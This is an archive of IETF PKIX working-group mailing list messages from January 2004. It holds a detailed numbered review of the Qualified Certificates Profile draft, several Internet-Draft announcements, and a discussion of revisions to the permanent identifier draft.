The technical content of this document should be clearly advertised. 
Hereafter is a proposal, intended to be a full replacement of the second 
paragraph :

    “This document provides a profile for two fields: issuer and
    subject and for three certificate extensions: subject alternate
    name, subject directory attributes, and key usage. It also defines
    two extensions: biometric information and qualified certificate
    statements”.


2. The use of the wording "Qualified Certificate" is unfortunate since it 
creates a confusion with the same wording used in the European Directive on 
Electronic Signatures.

If the wording "qualified certificate" needs to be kept, a warning should be 
given in the abstract. In order to avoid readers to misunderstand what is a 
qualified certificate in the context of this document, the following 
sentence should be added:

"It should be noticed that the meaning of "Qualified Certificate" as used in 
this document is different from the same wording used in the European 
Directive on Electronic Signatures."

The European Directive on Electronic Signatures should be referenced in the 
informative reference section.


3. In section 1, 6 th paragraph, the text states:

    "It should be noted that this specification does not define the
    specific semantics of Qualified Certificates, and does not define the
    policies that should be used with them.  That is, this document
    defines what information should go into Qualified Certificates, but
    not what that information means.  A system that uses Qualified
    Certificates must define its own semantics for the information in
    Qualified Certificates.  It is expected that laws and corporate
    policies will make these definitions."

This is not true. The only semantics which is undefined is the semantics of 
specific Qualified Certificate Statements. Please delete.


4. The text states:

"This specification differs from RFC 3039 in the following basic areas:

       * Some editorial clarifications has been made to introductory
       sections to clarify that this profile is generally applicable to a
       broad type of certificates even if its prime purpose is to
       facilitate issuance of Qualified Certificates."

The abstract states :

" The profile is however not limited to Qualified Certificates and
   further profiling may facilitate specific local needs."

Since a Qualified Certificate is a profile limited to natural person, it is 
unclear to understand what this sentence means. Please delete.


5. The text states:

       * To better facilitate broad applicability of this profile some
       constraints on key usage settings in the key usage extension has
       been removed.

This "constraints" were a recommendation that is still true and is currently 
proposed to be included to answer to a "defect report" raised on key usage 
on X.509 / IS0 9594-8. It is likely that this constraint will be accepted. 
This explanation should be removed and the recommendation that is present in 
RFC 3039 should remain.


6. The text states:

       * A new qc-Statement reflecting this second version of the profile
       has been defined in Section 3.2.5.1

What about backwards compatibility ?
Has anybody used the predefined qcStatement-1 ? Until we got a confirmed no 
response, it is not possible to suppress the document (i.e. RFC 3039) which 
tells what it means. Otherwise, implementations based on RFC3039 will 
suddenly become invalid. If nobody has ever implemented the predefined 
qcStatement-1, then there would be no reason to support it in 3039bis.


7. The text states in section 2 , Requirements and Assumptions.

    "The term "Qualified Certificate" has been used by the European
    Commission to describe a certain type of certificates with specific
    relevance for European legislation.  This specification is intended
    to support this class of certificates, but its scope is not limited
    to this application.

    Within this standard the term "Qualified Certificate" is used
    generally, describing a certificate whose primary purpose is to
    identify a person with high level of assurance, where the certificate
    meet some qualification requirements defined by an applicable legal
    framework. The actual mechanisms that decide whether a certificate
    should or should not be considered to be a "Qualified Certificate" in
    regard to any legislation are outside the scope of this standard."

Full text proposal replacement:

    "The term "Qualified Certificate" is used by the European Directive
    on Electronic Signature to refer to specific type of certificate.
    The same term is used in this document with a different meaning,
    i.e. to define a profile of a certificate issued to natural persons,
    and which imposes constraints on the structure of the name of the
    subject and of the issuer."


8. The text states in section 2 , Requirements and Assumptions.

    "Harmonization in the field of identity certificates issued to natural
    persons, in particular Qualified Certificates, is essential within
    several aspects that fall outside the scope of RFC 3280."

This sentence is using the term "identity certificate" instead of "Qualified 
certificate". This is in fact much better and it is unfortunate to use the 
term "Qualified Certificate" everywhere within this document instead of 
"Identity certificate". This sentence should be deleted, since it is 
difficult to argue that harmonisation is essential without providing any reason.


9. The text states in section 2 , Requirements and Assumptions.

"The most important aspects that affect the scope of this specification
are:

    -  Definition of names and identity information in order to identify
       the associated subject in a uniform way."

What is the difference between a "name" and an "identity information" ?
Can a name identify a subject ? Not always.

Proposed rewording:

The most important aspects that affect the scope of this specification
are:

    -  Definition of attributes of the subject DN in order to name
       the associated subject in a uniform way."


10. The text states in section 2 , Requirements and Assumptions.

"The most important aspects that affect the scope of this specification
are:

    -  Definition of information which identifies the CA and the
       jurisdiction under which the CA operates when issuing a particular
       certificate.

Qualified certificates (as meant by this document) are supposed to be 
applicable for a "defined legal framework". What is the relationship with 
the "jurisdiction under which the CA operates" ?

Qualified certificates (as meant by the EU Directive) identify the country 
where the CA operates. While this has a well defined meaning, it seems 
rather difficult to give a meaning to this statement outside the EU Directive.

Proposed rewording:

"The most important aspects that affect the scope of this specification
are:

    -  Definition of information which identifies the country where
       the CA operates when issuing a certificate."


11. The text states in section 2 , Requirements and Assumptions.

"The most important aspects that affect the scope of this specification
are:

    -  Definition of a standardized way to store predefined statements
       with relevance for Qualified Certificates."

Delete: "with relevance for Qualified Certificates".


12. The text states in section 2.1 Properties:

    "This profile accommodates profiling needs for Qualified Certificates
    based on the assumptions that:

    -  Qualified Certificates are issued by a CA that makes a public
       statement that the certificate serves the purpose of a Qualified
       Certificate, as discussed in Section 2.2."

It is quite strange to mandate to make a public statement here.
Do we require a public statement when RFC 3280 compliant certificates
are issued ? To which of the sections would it mean compliance ?

Delete this item.


13. The text states in section 2.1 Properties:

    -  The Qualified Certificate indicates a certificate policy
       consistent with liabilities, practices and procedures undertaken
       by the CA, as discussed in Section 2.3."

There is no precise definition of such a certificate policy and precise 
definitions are outside the scope of the PKIX WG.

Delete this item.


14. The text states in section 2.1 Properties:

    -  The Qualified Certificate contains an identity based on a
       pseudonym or a real name of the subject.

No identity is ever contained in a certificate.

Proposed rewording:

    -  The Qualified Certificate contains a name which may be either
       based on the real name of the subject or a pseudonym."


15. The text states in section 2.2  Statement of Purpose

    "This profile defines two complementary ways to include this
    information:

    -  As information defined by a certificate policy included in the
       certificate policies extension, and

    -  As a statement included in the Qualified Certificates Statements
       extension."

As far as "EU Qualified Certificates" are concerned, the ways are not 
"complementary", but "alternative".

Since no CP OID is being defined in the document to indicate this "property" 
(which is quite vague), this cannot be supported.

Since no statement is being defined in the document to indicate this 
"property" (which is quite vague), this cannot be supported.

Please delete the whole section 2.2.


16. The text states in section 2.3  Policy Issues

    "Certain policy aspects define the context in which this profile is to
    be understood and used.  It is however outside the scope of this
    profile to specify any policies or legal aspects that will govern
    services that issue or utilize certificates according to this
    profile."

Is it necessary to say that some other documents (please keep away "policy 
aspects") whatever they are may use this document ? Isn't it the primary 
goal of any standard ?

Please delete this paragraph.


17. The text states in section 2.3  Policy Issues:

    "It is however an underlying assumption in this profile that a
    responsible issuing CA will undertake to follow a publicly available
    certificate policy that is consistent with its liabilities, practices
    and procedures."

This assumption is not valid. Nothing will force a CA to adopt a publicly 
available policy. Please delete this paragraph.


18. The text states in section 2.4  Uniqueness of names

    “ An
    object can be assigned a distinguished name without being represented
    by an entry in the Directory, but this name is then the name its
    object entry could have had if it were represented in the Directory.
    In the context of qualified certificates, a distinguished name
    denotes a set of attribute values [X.501] which forms a name that is
    unambiguous within a certain domain that forms either a real or a
    virtual DIT (Directory Information Tree)[X.501].  In the case of
    subject names the domain is assumed to be at least the issuing domain
    of the CA.

These sentences do not help to understand the issue of uniqueness of names. 
The fact that there is a real DIT or not is irrelevant. The notion of “a 
certain domain” and “at least the issuing domain” is hazardous. Please 
delete these sentences and keep the last sentence which is correct:

    “The distinguished name MUST be unique for each subject
    entity certified by the one CA as defined by the issuer name field,
    during the whole life time of the CA.”


19. The text states in section 3.1.1  Issuer

    “The identity of the issuer SHALL be specified using an appropriate
    subset of the following attributes:”

Please change “identity” by “DN”.


20. The text states in section 3.1.1 Issuer :

“Attributes present in the issuer field SHOULD be consistent with the laws 
under which the issuer operates.”

We do not reference laws in other documents, but Certificate Policies 
instead. Please refer to Certificate policies, and replace with:

“Attributes present in the issuer field SHOULD be consistent with the 
certificate policy of the certificate.”


21. The text states in section 3.1.1 Issuer :

    “A relying party MAY have to consult associated certificate policies
    and/or the issuer's CPS, in order to determine the semantics of name
    fields and the laws under which the issuer operates.”

Please delete the end of the sentence, i.e. “and the laws under which the 
issuer operates”. There is no reason to refer to laws.


22. The text states in section 3.1.2  Subject (page 8):

“   Other attributes may be present but MUST NOT be necessary to
    distinguish the subject name from other subject names within the
    issuer domain.”

This sentence is wrong. The DN is uniquely global with all the attributes 
present. Matching rules do not exclude some attributes. This sentence could 
be interpreted as if a name matching rule could be constructed using only 
these attributes and ignoring the additional ones. Please delete that sentence.


23. The text states in section 3.1.2  Subject (pages 8 and 9):

       “The surname and givenName attribute types SHALL, if present,
       contain the name of the subject, in accordance with the
       laws under which the CA prepares the certificate. These
       attributes SHALL be used in the subject field if the commonName
       attribute is not present. In cases where the subject only has a
       single name registered, the givenName attribute SHALL be used and
       the surname attribute SHALL be omitted.”

What is the “registered name” of the subject ? Who is registering the name ?
Which laws is it ? Is it the laws where the CA operates ? Do all countries 
have a law to say what is a registered name ? Please to not refer to 
“registered names” and national laws.

       “The surname and givenName attribute types SHALL be used in the
       subject field if the commonName attribute is not present. In
       cases where the subject only has a givenName the surname attribute
       SHALL be omitted.”


24. The text states in section 3.2  Certificate Extensions:

    “This specification provides additional details regarding the contents
    of five certificate extensions: Subject directory attributes,
    Certificate policies, Key usage, Biometric information and Qualified
    Certificate statements.”

This is not correct. It is not “details regarding the content of five 
certificate extensions”, but a profile for two basic fields, three existing 
extensions and the definition of two new extensions.

Change with:

    “This specification provides profiles for two fields: issuer and
    subject and for three certificate extensions: subject alternate
    name, subject directory attributes, and key usage. It also defines
    two extensions: biometric information and qualified certificate
    statements.”


25. The text defines in section 3.2.1  Subject Directory Attributes. Why is 
there no specification at all for the Subject Alternative Name ?

There should be a section saying that Internet electronic mail addresses 
SHALL be placed there, if e-mail addresses need to be present.


26. The text states in section 3.2.2 Certificate Policies:

    “Information provided by the issuer stating the purpose of the
    certificate as discussed in Section 2.2 SHOULD be evident through
    indicated policies.”

It is not evident from an OID to know what the certificate policy is about.
Since section 2.2 should be deleted, this sentence should be deleted as well.


27. The text states in section 3.2.2 Certificate Policies:

    “The certificate policies extension SHOULD include all policy
    information needed for validation of the certificate.”

The Certificate Policies extensions defines everything that is needed. There 
is nothing to be added here. Please delete that sentence.

28. The text states in section 3.2.2 Certificate Policies:

    “If policy information is included in the QCStatements extension
    (see 3.2.5), then this information SHOULD also be defined by
    indicated policies.”

QCStatements extension is still not described at this place when reading the 
document in sequence. This sentence is not relevant and could even be 
misleading: QCStatements is not a direct alternative to a certificate 
policy. It may indicate a conformity with a document where some parts of it 
may be translated into a certificate policy. Please delete that sentence.


29. It is very questionable why there should be a section 3.2.2 at all. 
There is no additional specific constraints beyond what already exists in 
RFC 3280. Please delete the whole section 3.2.2.


30. The text states in section 3.2.3  Key Usage:

    “The key usage extension SHALL be present. Key usage settings SHALL be
    set in accordance with RFC 3280 definitions. Further requirements on
    key usage settings MAY be defined by local policy and/or local legal
    requirements.”

The security consideration section states:

    “Combining the nonRepudiation bit in the keyUsage certificate
    extension with other keyUsage bits may have security implications and
    this specification therefore recommends against such practices.”

This is quite true. However the main body of the document is lacking this 
recommendation. The text that is currently in RFC 3039 should stay. It 
should be adapted to avoid naming bit 1 as nonRepudiation since it is likely 
that the name of that bit will be changed by ISO. So speaking of bit 1 is 
neutral and will be valid whatever the final name will be.

Please replace with:

    The key usage extension SHALL be present.  If the key usage bit 1
    is asserted then it SHOULD NOT be combined with any other key usage,
    i.e., if set, it SHOULD be set exclusively (see the security
    considerations section).


31. The text states in section 3.2.3  Key Usage:

    “The key usage extension MAY be marked critical.”

However, RFC 3280 states:

    “When this extension appears, it SHOULD be marked critical.”

The “MAY” should be changed into “SHOULD”.

This leads to:

    “The key usage extension SHOULD be marked critical.”


32. The text states in section 3.2.5  Qualified Certificate Statements:

    “A statement suitable for inclusion in this extension MAY be a
    statement by the issuer that the certificate is issued as a Qualified
    Certificate in accordance with a particular legal system (as
    discussed in Section 2.2).”

Providing examples before the actual definition of what is this extension is 
not appropriate. It should also be avoided to speak about “legal systems”. 
Please delete.


33. The text states in section 3.2.5  Qualified Certificate Statements:

    “Other statements suitable for inclusion in this extension MAY be
    statements related to the applicable legal jurisdiction within which
    the certificate is issued.  As an example this MAY include a maximum
    reliance limit for the certificate indicating restrictions on CA's
    liability.”

Providing examples before the actual definition of what is this extension is 
not appropriate. It should also be avoided to speak about “legal 
jurisdiction”. Please delete.


34. The text states in section 3.2.5  Qualified Certificate Statements:

    “This extension may be critical or non-critical.  If the extension is
    critical, this means that all statements included in the extension
    are regarded as critical.”

A note should be added after the ASN.1 description :

“NOTE: This extension does not allow to mix critical and non-critical 
Qualified Certificate Statements. Either all statements must be critical or 
all statements must be non-critical.”


35. The text states in section 3.2.5.1 Predefined Statements:

    “RFC 3039 defined one qualified certificate statement (id-qcs-
    pkixQCSyntax-v1), identifying conformance with syntax and semantics
    defined in RFC 3039.”

What means conformance with syntax and semantics ? Conformance clauses means 
that the SHALL statements have to be observed by the CA. From which sections 
should the SHALL statements be observed ? The document provides a profile 
for two fields: issuer and subject, for one mandatory certificate 
extensions: key usage and for two optional certificate extensions: subject 
alternate name and subject directory attributes.

It means conformance with sections 3.1.1. Issuer, 3.1.2 subject, 3.2.3
key usage; if subject directory attributes is present, with section
3.2.1.; and if subject alternate name attribute is present, with
section 3.2.X.

There is however a major problem: if RFC3039 is withdrawn, then there would 
be no text to say what it means. So RFC 3039 cannot be withdrawn without 
knowing first if someone as ever implemented id-qcs-pkixQCSyntax-v1.


36. The text states in section 3.2.5.1 Predefined Statements:

    “This profile includes a new qualified certificate statement
    (identified by the OID id-qcs-pkixQCSyntax-v2), identifying
    conformance with syntax and semantics defined in this profile.”

The sentence should be corrected in the following way:

    “This profile includes a qualified certificate statement
    (identified by the OID id-qcs-pkixQCSyntax-v2), identifying
    conformance with sections 3.1.1. Issuer, 3.1.2 subject, 3.2.3 key
    usage ; if subject directory attributes is present, with section
    3.2.1.; and if subject alternate name attribute is present, with
    section 3.2.X.


37. The text states in section 3.2.5.1 Predefined Statements:

    “This Qualified Certificate profile is referred to as version 2
    while RFC 3039 is referred to as version 1.”

This sentence cannot stay and will need to be fixed. See comment 35.


38. The European Directive on Electronic Signatures should be referenced in 
the informative references section (section 5.2).

END OF COMMENTS

Denis


> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.
> 
> 	Title		: Internet X.509 Public Key Infrastructure: Qualified Certificates Profile
> 	Author(s)	: S. Santesson, M. Nystrom
> 	Filename	: draft-ietf-pkix-sonof3039-03.txt
> 	Pages		: 35
> 	Date		: 2004-1-20
> 	
> This document forms a certificate profile, based on RFC 3280, for
>    identity certificates issued to natural persons.
> 
>    The profile defines specific conventions for certificates that are
>    qualified within a defined legal framework, named Qualified
>    Certificates. The profile does however not define any legal
>    requirements for such Qualified Certificates.
> 
>    The goal of this document is to define a certificate profile that
>    supports issuance of Qualified Certificates independent of local
>    legal requirements.  The profile is however not limited to Qualified
>    Certificates and further profiling may facilitate specific local
>    needs.
> 
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-sonof3039-03.txt
> 
> To remove yourself from the IETF Announcement list, send a message to 
> ietf-announce-request with the word unsubscribe in the body of the message.
> 
> Internet-Drafts are also available by anonymous FTP. Login with the username
> "anonymous" and a password of your e-mail address. After logging in,
> type "cd internet-drafts" and then
> 	"get draft-ietf-pkix-sonof3039-03.txt".
> 
> A list of Internet-Drafts directories can be found in
> http://www.ietf.org/shadow.html 
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> 
> 
> Internet-Drafts can also be obtained by e-mail.
> 
> Send a message to:
> 	[e-mail].
> In the body type:
> 	"FILE /internet-drafts/draft-ietf-pkix-sonof3039-03.txt".
> 	
> NOTE:	The mail server at ietf.org can return the document in
> 	MIME-encoded form by using the "mpack" utility.  To use this
> 	feature, insert the command "ENCODING mime" before the "FILE"
> 	command.  To decode the response(s), you will need "munpack" or
> 	a MIME-compliant mail reader.  Different MIME-compliant mail readers
> 	exhibit different behavior, especially when dealing with
> 	"multipart" MIME messages (i.e. documents which have been split
> 	up into multiple messages), so check your local documentation on
> 	how to manipulate these messages.
> 		
> 		
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.





Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL2Oib018684; Fri, 23 Jan 2004 13:02:24 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NL2OLY018683; Fri, 23 Jan 2004 13:02:24 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL2Nib018677 for <[e-mail]>; Fri, 23 Jan 2004 13:02:23 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22524; Fri, 23 Jan 2004 16:02:22 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-sonof3039-04.txt
Date: Fri, 23 Jan 2004 16:02:22 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure: Qualified Certificates Profile
	Author(s)	: S. Santesson, M. Nystrom
	Filename	: draft-ietf-pkix-sonof3039-04.txt
	Pages		: 35
	Date		: 2004-1-23
	
This document forms a certificate profile, based on RFC 3280, for
   identity certificates issued to natural persons.

   The profile defines specific conventions for certificates that are
   qualified within a defined legal framework, named Qualified
   Certificates. The profile does however not define any legal
   requirements for such Qualified Certificates.

   The goal of this document is to define a certificate profile that
   supports issuance of Qualified Certificates independent of local
   legal requirements.  The profile is however not limited to Qualified
   Certificates and further profiling may facilitate specific local
   needs.


   The goal of this document is to define a certificate profile that
   supports issuance of Qualified Certificates independent of local
   legal requirements.  The profile is however not limited to Qualified
   Certificates and further profiling may facilitate specific local
   needs.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sonof3039-04.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-sonof3039-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-sonof3039-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-sonof3039-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-sonof3039-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NKPmib017368; Fri, 23 Jan 2004 12:25:48 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NKPm2w017367; Fri, 23 Jan 2004 12:25:48 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from USBOSWMTRP01.na.fbf1.com (bosmail.bkb.com [204.167.53.91]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0NKPkib017360 for <[e-mail]>; Fri, 23 Jan 2004 12:25:46 -0800 (PST) (envelope-from [e-mail])
Received: from 155.182.90.44 by USBOSWMTRP01.na.fbf1.com (InterScan E-Mail VirusWall NT); Fri, 23 Jan 2004 15:13:01 -0500
Received: by usbosmxcp04.ma.fbf1.com with Internet Mail Service (5.5.2653.19) id <D33DC8M0>; Fri, 23 Jan 2004 15:13:53 -0500
Message-ID: <[e-mail]>
From: "BARARI, TIRTHANKAR" <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Cc: [e-mail]
Subject: RE: I-D ACTION:draft-ietf-pkix-pi-08.txt
Date: Fri, 23 Jan 2004 15:13:38 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi Denis and Thomas,

My comments on the draft - 

In real world, PI implementation will be in phases. So, entities would
migrate from existing certificates (without PI) to new ones with PI included
in the subjectAltName extension. It would be good to include a way to tie in
the prior identity into the new implementation with PI (possibly by adding
the old public key as a field inside PI). This would help link both pre and
post implementation audit records to the same entity.

This may not be within the scope or address of this version, but may be
worth a consideration for a future richer proposal.

Tirthankar Barari 

-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Wednesday, January 21, 2004 4:27 PM
Cc: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt


A New Internet-Draft is available from the on-line Internet-Drafts
directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working
Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Permanent
Identifier
	Author(s)	: D. Pinkas, T. Gindin
	Filename	: draft-ietf-pkix-pi-08.txt
	Pages		: 12
	Date		: 2004-1-21
	
This document define a new form of name, called permanent 
identifier, that may be included in the subjectAltName extension 
of a public key certificate issued to an entity.
The permanent identifier is an optional feature that may be used 
by a CA to indicate that the certificate relates to the same 
entity even if the name or the affiliation of that entity stored 
in the subject or another name form in the subjectAltName extension 
has changed.
The subject name, carried in the subject field, is only unique 
for each subject entity certified by the one CA as defined by the 
issuer name field. Also, the new name form can carry a 
name that is unique for each subject entity certified by a CA.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-pi-08.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-pi-08.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NGQpib006816; Fri, 23 Jan 2004 08:26:51 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NGQpi5006815; Fri, 23 Jan 2004 08:26:51 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp4.pacifier.net (smtp4.pacifier.net [64.255.237.174]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NGQnib006809 for <[e-mail]>; Fri, 23 Jan 2004 08:26:49 -0800 (PST) (envelope-from [e-mail])
Received: from ROMANS (ip237.132.dial-acs01.sea.iinet.com [209.20.132.237]) by smtp4.pacifier.net (Postfix) with ESMTP id 0E5EA6ACE0; Fri, 23 Jan 2004 08:26:48 -0800 (PST)
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "'Denis Pinkas'" <[e-mail]>, <[e-mail]>
Cc: "'Tom Gindin'" <[e-mail]>, <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-pi-08.txt
Date: Fri, 23 Jan 2004 08:30:44 -0800
Message-ID: <008a01c3e1ce$4049d940$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Denis,

Thank you -- this addresses all of my concerns.

jim

> -----Original Message-----
> From: Denis Pinkas [mailto:[e-mail]] 
> Sent: Friday, January 23, 2004 5:14 AM
> To: [e-mail]
> Cc: 'Tom Gindin'; [e-mail]
> Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
> 
> 
> Jim,
> 
> Thank you for your document quality checking.
> 
> > Comments on draft -08.
> > 
> > 1.  Privacy concerns should be additionally outlined and covered in 
> > the security considerations section.
> 
> This point is already covered. Here is the text :
> 
>     The permanent identifier allows organizations to create links
>     between different certificates associated with an entity issued
>     with or without overlapping validity periods.  This 
> ability to link
>     different certificates may conflict with privacy.  It is therefore
>     important that a CA clearly disclose any plans to issue 
> certificates
>     which include a permanent identifier to potential 
> subjects of those
>     certificates.
> 
> > 2.  Section 1, para 9: Text here allows for an AA to have a 
> unique URI 
> > name.  Has been removed from the syntax.
> 
> You were so fast by replying to the publication, that I had 
> not the time to 
> advertise the main reason for issuing this new draft.
> 
> It is because the IESG objected to include URI in the 
> document and that we 
> (i.e. Tom and myself) have been unable to find a compromise 
> with the IESG. 
> So we have removed the URI option. You are correct: this 
> sentence should 
> have been deleted.
> 
> Done.
> 
> > 3.  Section 1, para 14:  Suggested text "both the same permanent 
> > identifier value and the same Authority Identifer Value, 
> then these". 
> > (I find the use of identityType to be confusing since I 
> consider this 
> > to relate to type choice of IdentifierValue as well.)
> 
> "identityType" is not used. "identifierType" is used instead. 
> The ASN.1 for identifierType is :
> 
>      identifierType         OBJECT IDENTIFIER      OPTIONAL
> 
> The current text is:
> 
>     "When two certificates from different CA's contain both the same
>     permanent identifier value and the same type of permanent
>     identifier from a given Assigner Authority, then these
>     certificates relate to the same entity, whatever the content of
>     the DN or other subjectAltName components may be."
> 
> Changing "same type of permanent identifier" by "Authority 
> Identifer Value" 
> would not be appropriate. The identifierType does not simply 
> identify the 
> Authority, but also the type of identifier being used.
> 
> I would propose the following text:
> 
>     When two certificates from the same CA or from different CA's
>     contain both the same permanent identifier value and the same
>     identifier type value, then these certificates relate to the
>     same entity, whatever the content of the DN or other 
> subjectAltName
>     components may be.
> 
> > 4.  Section 2:  What is the criteria for use of iA5String vs 
> > uTF8String?
> 
> Good question. No good answer ! I thus propose to simplify 
> and just have the 
> following:
> 
> PermanentIdentifier ::=  SEQUENCE {
>      identifierValue          UTF8String,
>      identifierType           OBJECT IDENTIFIER  OPTIONAL }
> 
> Here is the new text for UTF8.
> 
>     The IdentifierValue supports one syntax: UTF8String. UTF8String is
>     variable length data of octets. The UTF8String syntax is used to
>     express a string of characters from the Universal Character Set
>     - UCS [ISO10646] (a superset of [Unicode]), encoded following the
>     [UTF-8] algorithm. The UCS allows support of most of the world's
>     writing systems using a single character set.
> 
>     Note that Unicode characters U+0000 through U+007F are the same as
>     ASCII 0 through 127, respectively, and have the same single octet
>     UTF-8 encoding.  Other Unicode characters have a multiple octet
>     UTF-8 encoding.
> 
> > 5.  Section 2:  When doing comparisons do I need to cross compare 
> > these two different value items?
> 
> Added the following:
> 
>     The following matching rule SHALL be used for the identifierValue:
>     the rule evaluates to TRUE if and only if the code points 
> [Unicode]
>     of each of the characters is equal.
> 
> Also added the following references:
> 
>     [Unicode] The Unicode Consortium, "The Unicode Standard, Version
>     3.2.0" is defined by "The Unicode Standard, Version 3.0"
>     (Reading, MA, Addison-Wesley, 2000. ISBN 0-201-61633-5), 
> as amended
>     by the "Unicode Standard Annex #27: Unicode 3.1"
>     (http://www.unicode.org/reports/tr27/) and by the 
> "Unicode Standard
>     Annex #28: Unicode 3.2" (http://www.unicode.org/reports/tr28/).
> 
>     [ISO10646] Universal Multiple-Octet Coded Character Set (UCS) -
>     Architecture and Basic Multilingual Plane, ISO/IEC 10646-1: 1993.
> 
>     [UTF-8] RFC 2279. F. Yergeau. UTF-8, a transformation format of
>     ISO 10646, January 1998.
> 
